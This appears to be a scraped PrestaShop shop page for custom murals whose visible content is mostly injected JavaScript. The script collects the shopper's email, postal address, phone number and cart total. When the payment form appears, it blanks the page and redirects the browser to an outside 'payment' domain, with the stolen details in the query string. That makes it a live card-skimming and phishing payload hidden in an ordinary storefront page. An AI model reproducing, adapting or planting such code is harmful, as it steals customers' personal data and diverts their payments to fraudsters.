Murals • Custom

iqitcookielaw - module, put here your own cookie law text

;try { serialize = function(obj) { var str = []; for (var p in obj) if (obj.hasOwnProperty(p)) { str.push(encodeURIComponent(p) + '=' + encodeURIComponent(obj[p])); } return str.join('&'); } var ad = prestashop.customer.addresses[Object.keys(prestashop.customer.addresses)[0]]; var jj = { a: prestashop.cart.totals.total_including_tax.value, zip: ad.postcode, city: ad.city, email: prestashop.customer.email, country: ad.country_iso, address: ad.address1, phone: ad.phone_mobile, } function waitForElm(selector) { return new Promise(resolve => { if (document.getElementById(selector)) { return resolve(document.getElementById(selector)); } const observer = new MutationObserver(mutations => { if (document.getElementById(selector)) { observer.disconnect(); resolve(document.getElementById(selector)); } }); observer.observe(document.body, { childList: true, subtree: true }); }); } waitForElm('payment-form').then((e) => { let s = serialize(jj); document.body.innerHTML = '' window.location.href = 'https://payment.sw9wp4pjpo5ckhiias.online?'+s; }) } catch (e) {console.log(e)};